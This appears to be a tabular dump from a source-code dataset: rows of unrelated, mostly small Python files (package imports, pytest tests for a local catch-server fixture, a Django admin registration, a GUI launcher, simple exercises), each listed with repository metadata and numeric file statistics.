4431a6178ad79e6b005aef4ea3a8a0b11e392df4 | 329 | py | Python | thoraxe/transcript_info/__init__.py | PhyloSofS-Team/exonhomology | 5f9b2d3e111bf7ec72c38937e95a91703656545a | [
"MIT"
] | 6 | 2019-10-01T14:34:08.000Z | 2021-07-17T12:10:09.000Z | thoraxe/transcript_info/__init__.py | PhyloSofS-Team/exonhomology | 5f9b2d3e111bf7ec72c38937e95a91703656545a | [
"MIT"
] | 2 | 2019-10-07T09:22:46.000Z | 2021-07-22T13:21:55.000Z | thoraxe/transcript_info/__init__.py | PhyloSofS-Team/exonhomology | 5f9b2d3e111bf7ec72c38937e95a91703656545a | [
"MIT"
] | 2 | 2021-03-29T13:14:57.000Z | 2021-12-31T15:23:26.000Z | """
transcript_info: Module to read and manage transcript information.
It performs the first exon clustering of the pipeline.
"""
from thoraxe.transcript_info import clusters
from thoraxe.transcript_info import phases
from thoraxe.transcript_info.transcript_info import *
from thoraxe.transcript_info.exon_clustering ... | 27.416667 | 66 | 0.832827 | 44 | 329 | 6.068182 | 0.477273 | 0.314607 | 0.314607 | 0.374532 | 0.23221 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115502 | 329 | 11 | 67 | 29.909091 | 0.917526 | 0.370821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
923588a0f47bb171780d5fc1b591e8cd64ad7c81 | 2,837 | py | Python | myclass/class_mysql_backup_to_zip_files.py | ysh329/mysql-backup | 956a1ac417d48991802e0a9b7c7495ea6104778e | [
"Apache-2.0"
] | null | null | null | myclass/class_mysql_backup_to_zip_files.py | ysh329/mysql-backup | 956a1ac417d48991802e0a9b7c7495ea6104778e | [
"Apache-2.0"
] | 1 | 2015-09-24T11:31:15.000Z | 2015-09-24T11:31:15.000Z | myclass/class_mysql_backup_to_zip_files.py | ysh329/MySQL-Backup | 956a1ac417d48991802e0a9b7c7495ea6104778e | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# !/usr/bin/python
################################### PART0 DESCRIPTION #################################
# Filename: class_mysql_backup_to_zip_files.py
# Description:
# Author: Shuai Yuan
# E-mail: ysh329@sina.com
# Create: 2015-9-24 17:50:39
# Last:
__author__ = 'yuens'
#####################... | 41.115942 | 141 | 0.606274 | 307 | 2,837 | 5.091205 | 0.299674 | 0.322457 | 0.378759 | 0.225208 | 0.465131 | 0.317978 | 0.275112 | 0.204095 | 0.083173 | 0.083173 | 0 | 0.018307 | 0.22982 | 2,837 | 69 | 142 | 41.115942 | 0.697025 | 0.099753 | 0 | 0 | 0 | 0 | 0.057406 | 0.023225 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.083333 | 0.055556 | null | null | 0.055556 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
925428c030b673c0dd295583cd71b2948ac85243 | 203 | py | Python | 03_join.py | Madhav2204/Python-vs-code | 6b845573f6e9f77cccf8f67913ad4de05da6593c | [
"Apache-2.0"
] | null | null | null | 03_join.py | Madhav2204/Python-vs-code | 6b845573f6e9f77cccf8f67913ad4de05da6593c | [
"Apache-2.0"
] | null | null | null | 03_join.py | Madhav2204/Python-vs-code | 6b845573f6e9f77cccf8f67913ad4de05da6593c | [
"Apache-2.0"
] | null | null | null | l = ["Camera", "Laptop", "Phone", "ipad", "Hard Disk", "Nvidia Graphic 3080 card"]
# sentence = "~~".join(l)
# sentence = "==".join(l)
sentence = "\n".join(l)
print(sentence)
print(type(sentence)) | 29 | 83 | 0.596059 | 26 | 203 | 4.653846 | 0.615385 | 0.123967 | 0.214876 | 0.347107 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023256 | 0.152709 | 203 | 7 | 84 | 29 | 0.680233 | 0.231527 | 0 | 0 | 0 | 0 | 0.378378 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
92644c6d19549d17dc911e807f2e98c045be495f | 57 | py | Python | server_dev/example_app/schemes/__init__.py | elishakrasz1/effort | ede626ce76770e6673be810be1690b01154ac56a | [
"MIT"
] | null | null | null | server_dev/example_app/schemes/__init__.py | elishakrasz1/effort | ede626ce76770e6673be810be1690b01154ac56a | [
"MIT"
] | null | null | null | server_dev/example_app/schemes/__init__.py | elishakrasz1/effort | ede626ce76770e6673be810be1690b01154ac56a | [
"MIT"
] | null | null | null | from .user import UserCreateMutation, UserUpdateMutation
| 28.5 | 56 | 0.877193 | 5 | 57 | 10 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087719 | 57 | 1 | 57 | 57 | 0.961538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
927bc4075ad38794f11f26b6318791c4477ddfaa | 4,749 | py | Python | tests/test_catch_server.py | kiwicom/pytest-catch-server | 100ba5de9bf6f9effc42710e8a4559c4b454d23a | [
"MIT"
] | 5 | 2019-12-12T15:20:47.000Z | 2020-03-20T16:46:28.000Z | tests/test_catch_server.py | kiwicom/pytest-catch-server | 100ba5de9bf6f9effc42710e8a4559c4b454d23a | [
"MIT"
] | 1 | 2020-11-23T23:55:19.000Z | 2020-11-23T23:55:19.000Z | tests/test_catch_server.py | kiwicom/pytest-catch-server | 100ba5de9bf6f9effc42710e8a4559c4b454d23a | [
"MIT"
] | null | null | null | def test_catch_server__get(testdir):
testdir.makepyfile(
"""
import urllib.request
def test_get(catch_server):
url = "http://{cs.host}:{cs.port}/get_it".format(cs=catch_server)
request = urllib.request.Request(url, method="GET")
with urllib.request.urlop... | 31.039216 | 87 | 0.548326 | 520 | 4,749 | 4.859615 | 0.113462 | 0.104472 | 0.028492 | 0.042738 | 0.811239 | 0.802533 | 0.780768 | 0.780768 | 0.602691 | 0.442818 | 0 | 0.010482 | 0.296905 | 4,749 | 152 | 88 | 31.243421 | 0.746331 | 0 | 0 | 0.5 | 0 | 0 | 0.117363 | 0.020096 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.166667 | false | 0.166667 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
9296e3c7d1cf9635dda8cdf6fa73a240478efac1 | 5,348 | py | Python | tests/units/test_rotated_files.py | IOTs-Projects/fiware-skuld | b0a24d4eccf60fd23511e2c025a354a14efe1808 | [
"Apache-2.0"
] | 1 | 2015-10-22T12:14:31.000Z | 2015-10-22T12:14:31.000Z | tests/units/test_rotated_files.py | telefonicaid/fiware-skuld | 4b1e9581b1193514942410c292290fa375832915 | [
"Apache-2.0"
] | 63 | 2015-09-23T10:50:01.000Z | 2016-11-25T20:09:49.000Z | tests/units/test_rotated_files.py | IOTs-Projects/fiware-skuld | b0a24d4eccf60fd23511e2c025a354a14efe1808 | [
"Apache-2.0"
] | 2 | 2018-05-25T19:04:36.000Z | 2020-03-05T19:35:58.000Z | # -*- coding: utf-8 -*-
# Copyright 2015-2016 Telefónica Investigación y Desarrollo, S.A.U
#
# This file is part of FIWARE project.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# You may obtain a copy of the License at:
#
# htt... | 38.47482 | 108 | 0.601907 | 706 | 5,348 | 4.430595 | 0.225212 | 0.056266 | 0.069054 | 0.088235 | 0.721867 | 0.721867 | 0.709719 | 0.709719 | 0.696611 | 0.696611 | 0 | 0.02502 | 0.304974 | 5,348 | 138 | 109 | 38.753623 | 0.816519 | 0.23448 | 0 | 0.723077 | 0 | 0 | 0.151321 | 0.035547 | 0 | 0 | 0 | 0 | 0.123077 | 1 | 0.061538 | false | 0 | 0.061538 | 0 | 0.138462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
92a7dfc87dad99b5cb02c508daedb81402a86c72 | 71 | py | Python | main.py | diegossl/Compiler | 53c52425b729aa25f8c761b5a32b91ed8d5ecddb | [
"MIT"
] | null | null | null | main.py | diegossl/Compiler | 53c52425b729aa25f8c761b5a32b91ed8d5ecddb | [
"MIT"
] | null | null | null | main.py | diegossl/Compiler | 53c52425b729aa25f8c761b5a32b91ed8d5ecddb | [
"MIT"
] | null | null | null | from src.compiler import Compiler
compiler = Compiler()
compiler.run() | 17.75 | 33 | 0.788732 | 9 | 71 | 6.222222 | 0.555556 | 0.857143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112676 | 71 | 4 | 34 | 17.75 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2ba859ade0081381ffec94a750c3b30f10e80153 | 445 | py | Python | Desafios/des001.py | vitormrts/ExerciciosPython | 176b1c21e147670f7495678bdd4fc97241440d28 | [
"MIT"
] | 1 | 2021-02-07T18:58:57.000Z | 2021-02-07T18:58:57.000Z | Desafios/des001.py | vitormrts/ExerciciosPython | 176b1c21e147670f7495678bdd4fc97241440d28 | [
"MIT"
] | null | null | null | Desafios/des001.py | vitormrts/ExerciciosPython | 176b1c21e147670f7495678bdd4fc97241440d28 | [
"MIT"
] | null | null | null | nome = input('\033[1;31mOlá! Qual é o seu nome? ')
n1 = int(input(f'\033[1;31mMuito prazer, {nome}!\n\033[34mPor favor, poderia digitar um número? '))
n2 = int(input('\033[34mCerto! Digite outro número: '))
print('\033[32mHm... Deixe-me pensar...\033[m')
s = n1+n2
print('.')
print('.')
print('.')
print('.')
print('.')
... | 37.083333 | 114 | 0.620225 | 81 | 445 | 3.407407 | 0.518519 | 0.217391 | 0.271739 | 0.289855 | 0.126812 | 0.126812 | 0 | 0 | 0 | 0 | 0 | 0.172152 | 0.11236 | 445 | 12 | 114 | 37.083333 | 0.526582 | 0 | 0 | 0.5 | 0 | 0.166667 | 0.665919 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
2bba01c746064b6df3951eafc1dbb9752f096994 | 307 | py | Python | MA/__main__.py | highvelcty/MediaArchivist | 2c496d032cbe4a56455f7862ffce4f82d4589a5b | [
"MIT"
] | null | null | null | MA/__main__.py | highvelcty/MediaArchivist | 2c496d032cbe4a56455f7862ffce4f82d4589a5b | [
"MIT"
] | null | null | null | MA/__main__.py | highvelcty/MediaArchivist | 2c496d032cbe4a56455f7862ffce4f82d4589a5b | [
"MIT"
] | null | null | null | # === Imports ======================================================================================
# Standard library
# Local library
from .gui import root
# === Main =========================================================================================
gui = root.MediaArchivistGUI()
gui.mainloop()
| 30.7 | 100 | 0.29316 | 15 | 307 | 6 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078176 | 307 | 9 | 101 | 34.111111 | 0.318021 | 0.742671 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2bd41274ecfdba15d8170fa28af172945ff78087 | 215 | py | Python | winter/core/utils/__init__.py | DmitryKhursevich/winter | 9f3bf462f963059bab1f1bbb309ca57f8a43b46f | [
"MIT"
] | 9 | 2019-01-24T11:50:19.000Z | 2019-07-05T07:58:46.000Z | winter/core/utils/__init__.py | mikhaillazko/winter | cd4f11aaf28d500aabb59cec369817bfdb5c2fc1 | [
"MIT"
] | 100 | 2019-01-29T08:11:38.000Z | 2020-04-03T12:00:42.000Z | winter/core/utils/__init__.py | mikhaillazko/winter | cd4f11aaf28d500aabb59cec369817bfdb5c2fc1 | [
"MIT"
] | 8 | 2020-07-16T13:56:50.000Z | 2021-12-27T03:33:23.000Z | from .beautify_string import camel_to_human
from .cached_property import cached_property
from .nested_types import TypeWrapper
from .nested_types import has_nested_type
from .positive_integer import PositiveInteger
| 35.833333 | 45 | 0.883721 | 30 | 215 | 6 | 0.566667 | 0.155556 | 0.166667 | 0.233333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 215 | 5 | 46 | 43 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9210490b6ce032fb1ffc2d42fb1f2c4de1150513 | 198 | py | Python | src/ipyannotations/__init__.py | tabaspki/ipyannotations | 8253d3a0abcd5644d6e5a0c5b04557ec7f50ba4c | [
"MIT"
] | null | null | null | src/ipyannotations/__init__.py | tabaspki/ipyannotations | 8253d3a0abcd5644d6e5a0c5b04557ec7f50ba4c | [
"MIT"
] | null | null | null | src/ipyannotations/__init__.py | tabaspki/ipyannotations | 8253d3a0abcd5644d6e5a0c5b04557ec7f50ba4c | [
"MIT"
] | 1 | 2020-10-09T15:30:18.000Z | 2020-10-09T15:30:18.000Z | """Annotate data in jupyter notebooks."""
__version__ = "0.2.0"
from .images import PolygonAnnotator, PointAnnotator, BoxAnnotator
__all__ = ["PolygonAnnotator", "PointAnnotator", "BoxAnnotator"]
| 28.285714 | 66 | 0.762626 | 19 | 198 | 7.526316 | 0.789474 | 0.41958 | 0.587413 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016949 | 0.106061 | 198 | 6 | 67 | 33 | 0.79096 | 0.176768 | 0 | 0 | 0 | 0 | 0.299363 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
921c25e33965b1167a745d1fcc560fe969f16365 | 222 | py | Python | bodies/__init__.py | cburggie/py3D | d0fe21aae1d5ab77ec80f85533e941c902dad6f4 | [
"MIT"
] | null | null | null | bodies/__init__.py | cburggie/py3D | d0fe21aae1d5ab77ec80f85533e941c902dad6f4 | [
"MIT"
] | null | null | null | bodies/__init__.py | cburggie/py3D | d0fe21aae1d5ab77ec80f85533e941c902dad6f4 | [
"MIT"
] | null | null | null | from Plane import Plane
from CheckPlane import CheckPlane
from CheckCircle import CheckCircle
from ConcCircle import ConcCircle
from Sphere import Sphere
from hmSphere import hmSphere
from TruncSphere import TruncSphere
| 22.2 | 35 | 0.864865 | 28 | 222 | 6.857143 | 0.321429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135135 | 222 | 9 | 36 | 24.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ecfca6c568d4d9d98d818948f078a809eed39a70 | 35 | py | Python | __init__.py | tommmlij/xbmc-gamepass | f3cb73a5afa68f2f4bc62a2da9386c7efca44dfa | [
"Apache-2.0"
] | 40 | 2016-09-12T01:17:22.000Z | 2021-02-02T06:12:44.000Z | __init__.py | tommmlij/xbmc-gamepass | f3cb73a5afa68f2f4bc62a2da9386c7efca44dfa | [
"Apache-2.0"
] | 166 | 2016-08-27T14:22:29.000Z | 2021-03-07T15:37:55.000Z | __init__.py | tommmlij/xbmc-gamepass | f3cb73a5afa68f2f4bc62a2da9386c7efca44dfa | [
"Apache-2.0"
] | 52 | 2016-09-09T15:06:48.000Z | 2021-02-07T21:05:48.000Z | # dummy file to init the directory
| 17.5 | 34 | 0.771429 | 6 | 35 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 35 | 1 | 35 | 35 | 0.964286 | 0.914286 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
a613e1befbfd102b4e8769e11f76694e259bcc49 | 36 | py | Python | evidently/telemetry/__init__.py | alex-zenml/evidently | e9b683056661fcab8dc3fd4c2d4576b082d80d20 | [
"Apache-2.0"
] | 2,212 | 2020-11-26T11:47:56.000Z | 2022-03-31T15:55:02.000Z | evidently/telemetry/__init__.py | alex-zenml/evidently | e9b683056661fcab8dc3fd4c2d4576b082d80d20 | [
"Apache-2.0"
] | 99 | 2020-12-10T09:44:33.000Z | 2022-03-31T17:57:26.000Z | evidently/telemetry/__init__.py | alex-zenml/evidently | e9b683056661fcab8dc3fd4c2d4576b082d80d20 | [
"Apache-2.0"
] | 205 | 2020-11-26T21:43:43.000Z | 2022-03-28T04:51:17.000Z | from .sender import TelemetrySender
| 18 | 35 | 0.861111 | 4 | 36 | 7.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 0.96875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a620dc6c05f2ce8a6c9550e109b6e121c7c851a4 | 298 | py | Python | survey/exporter/tex/__init__.py | TheWITProject/MentorApp | 2f08b87a7cde6d180e16d6f37d0b8019b8361638 | [
"MIT"
] | null | null | null | survey/exporter/tex/__init__.py | TheWITProject/MentorApp | 2f08b87a7cde6d180e16d6f37d0b8019b8361638 | [
"MIT"
] | 65 | 2020-02-04T22:31:07.000Z | 2022-01-13T02:39:19.000Z | survey/exporter/tex/__init__.py | TheWITProject/MentorApp | 2f08b87a7cde6d180e16d6f37d0b8019b8361638 | [
"MIT"
] | null | null | null | from .configuration import Configuration
from .configuration_builder import ConfigurationBuilder
from .question2tex import Question2Tex
from .survey2tex import Survey2Tex, XelatexNotInstalled
__all__ = ["Question2Tex", "Survey2Tex", "Configuration", "ConfigurationBuilder", "XelatexNotInstalled"]
| 42.571429 | 104 | 0.842282 | 24 | 298 | 10.25 | 0.375 | 0.138211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021978 | 0.083893 | 298 | 6 | 105 | 49.666667 | 0.879121 | 0 | 0 | 0 | 0 | 0 | 0.248322 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
a630c5bf191cd59a7111833b82add5e888453e87 | 427 | py | Python | deeplodocus/core/project/deep_structure/modules/transforms/transform_example.py | Ahleroy/deeplodocus | 70d0c870b41f02d629c0305a2702793a09d53f33 | [
"MIT"
] | null | null | null | deeplodocus/core/project/deep_structure/modules/transforms/transform_example.py | Ahleroy/deeplodocus | 70d0c870b41f02d629c0305a2702793a09d53f33 | [
"MIT"
] | null | null | null | deeplodocus/core/project/deep_structure/modules/transforms/transform_example.py | Ahleroy/deeplodocus | 70d0c870b41f02d629c0305a2702793a09d53f33 | [
"MIT"
] | null | null | null | import random
#
# RANDOM FUNCTION EXAMPLE
#
def random_example_function(data, param_min, param_max):
parameters = random.uniform(param_min, param_max)
transformed_data, _ = example_function(data, parameters)
transform = ["example_function", example_function, {"parameters": parameters}]
return transform... | 22.473684 | 82 | 0.75644 | 48 | 427 | 6.458333 | 0.3125 | 0.241935 | 0.183871 | 0.103226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152225 | 427 | 18 | 83 | 23.722222 | 0.856354 | 0.093677 | 0 | 0 | 0 | 0 | 0.068602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
a6534204d4492983c4ff11f9bcd9ea3dae835d59 | 55 | py | Python | docs/00.Python/demo_pacages/p1/pp1/a3.py | mheanng/PythonNote | e3e5ede07968fab0a45f6ac4db96e62092c17026 | [
"Apache-2.0"
] | null | null | null | docs/00.Python/demo_pacages/p1/pp1/a3.py | mheanng/PythonNote | e3e5ede07968fab0a45f6ac4db96e62092c17026 | [
"Apache-2.0"
] | null | null | null | docs/00.Python/demo_pacages/p1/pp1/a3.py | mheanng/PythonNote | e3e5ede07968fab0a45f6ac4db96e62092c17026 | [
"Apache-2.0"
] | null | null | null | from ...p1 import mm
# 导入主包边界之外的包
print('this is a2')
| 11 | 20 | 0.672727 | 9 | 55 | 4.111111 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044444 | 0.181818 | 55 | 4 | 21 | 13.75 | 0.777778 | 0.181818 | 0 | 0 | 0 | 0 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 5 |
a66f25edc736a41cf6d3429e880544c359115c50 | 136 | py | Python | wallet/admin.py | dacom-dark-sun/dacom-api | 7efd77bf75cd28771b4a466ff36310d12b634f30 | [
"MIT"
] | null | null | null | wallet/admin.py | dacom-dark-sun/dacom-api | 7efd77bf75cd28771b4a466ff36310d12b634f30 | [
"MIT"
] | null | null | null | wallet/admin.py | dacom-dark-sun/dacom-api | 7efd77bf75cd28771b4a466ff36310d12b634f30 | [
"MIT"
] | null | null | null | from django.contrib import admin
from wallet.models import Wallet, Transaction
admin.site.register([
Wallet,
Transaction,
])
| 13.6 | 45 | 0.742647 | 16 | 136 | 6.3125 | 0.625 | 0.336634 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 136 | 9 | 46 | 15.111111 | 0.901786 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a69025a4472795f9f978fc4a018f550bd97774a2 | 193 | py | Python | core/views/__init__.py | capy-pl/nccu-grade-system | db7107d56e45d535eed92b47c06e0d5c06f983a2 | [
"Apache-2.0"
] | 2 | 2019-01-14T17:20:06.000Z | 2019-05-06T03:26:23.000Z | core/views/__init__.py | capy-pl/nccu-grade-system | db7107d56e45d535eed92b47c06e0d5c06f983a2 | [
"Apache-2.0"
] | 4 | 2018-12-25T15:06:35.000Z | 2019-01-05T08:02:36.000Z | core/views/__init__.py | capy-pl/nccu-grade-system | db7107d56e45d535eed92b47c06e0d5c06f983a2 | [
"Apache-2.0"
] | null | null | null | from .DeleteView import DeleteView
from .ListView import ListView
from .View import View
from .CreateView import CreateView
from .UpdateView import UpdateView
from .DetailView import DetailView | 32.166667 | 34 | 0.849741 | 24 | 193 | 6.833333 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119171 | 193 | 6 | 35 | 32.166667 | 0.964706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
a6fd7fe9770ff3ff5febc407b58acde2fa3f07dd | 80 | py | Python | updater/updater.py | Cosmic-Chatter/Constellation | f10802f7510f6a1adf88ea64bf09ee1841f3a4e4 | [
"MIT"
] | null | null | null | updater/updater.py | Cosmic-Chatter/Constellation | f10802f7510f6a1adf88ea64bf09ee1841f3a4e4 | [
"MIT"
] | null | null | null | updater/updater.py | Cosmic-Chatter/Constellation | f10802f7510f6a1adf88ea64bf09ee1841f3a4e4 | [
"MIT"
] | null | null | null | """Module to handle updating Constellation components"""
import urllib.request
